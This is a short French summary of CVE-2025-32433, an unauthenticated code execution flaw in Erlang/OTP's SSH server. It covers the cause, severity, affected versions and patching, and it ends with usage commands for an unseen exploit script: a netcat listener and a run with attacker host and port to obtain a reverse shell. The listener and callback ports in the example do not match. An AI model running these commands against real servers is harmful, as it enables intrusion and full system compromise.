
Résumé de CVE-2025-32433 et aperçu de l'attaque
Résumé et vue d’ensemble de l’attaque CVE-2025-32433
CVE-2025-32433 est une vulnérabilité critique d’exécution de code à distance (RCE) sans authentification dans le serveur SSH d’Erlang/OTP, divulguée le 16 avril 2025. Erlang/OTP SSH est une bibliothèque utilisée dans diverses applications distribuées et de télécommunications. La faille provient d’une gestion incorrecte des messages du protocole SSH : le serveur n’applique pas la séquence d’authentification normale, ce qui permet à un attaquant d’envoyer des messages SSH spécialement conçus avant l’authentification. Ce faisant, l’attaquant peut injecter et exécuter du code Erlang arbitraire sur le serveur nvd.nist.gov offsec.com . En pratique, cela signifie qu’un attaquant ayant un accès réseau à un serveur SSH Erlang/OTP vulnérable (souvent exécuté en tant que root) peut déclencher un shell inversé ou exécuter des commandes sans aucun identifiant, conduisant à une compromission totale du système nvd.nist.gov offsec.com . Cette vulnérabilité se voit attribuer un score CVSS de 10,0 (sévérité maximale) offsec.com .
Les versions concernées sont toutes les versions d’Erlang/OTP antérieures à OTP-27.3.3, OTP-26.2.5.11 ou OTP-25.3.2.20 (les versions corrigées) nvd.nist.gov offsec.com . Les systèmes affectés incluent souvent des serveurs Linux ou des appliances exécutant un daemon SSH basé sur Erlang (à ne pas confondre avec OpenSSH). Il est important de noter que les serveurs OpenSSH par défaut sous Linux/BSD ne sont pas vulnérables offsec.com . Les utilisateurs doivent considérer que tout serveur SSH Erlang/OTP exposé est affecté, et appliquer les correctifs officiels ou désactiver immédiatement le service SSH.
L’attaque fonctionne en initiant une connexion SSH puis en envoyant une séquence de messages SSH dans le désordre. :
usage:
sudo chmod +x exploit.py
nc -nvlp
python3 exploit.py -t -p 22 --lhost --lport
ex:
nc -nvlp 5555
python3 exploit.py -t 10.10.22.111 -p 22 --lhost 10.12.33.111 --lport 55555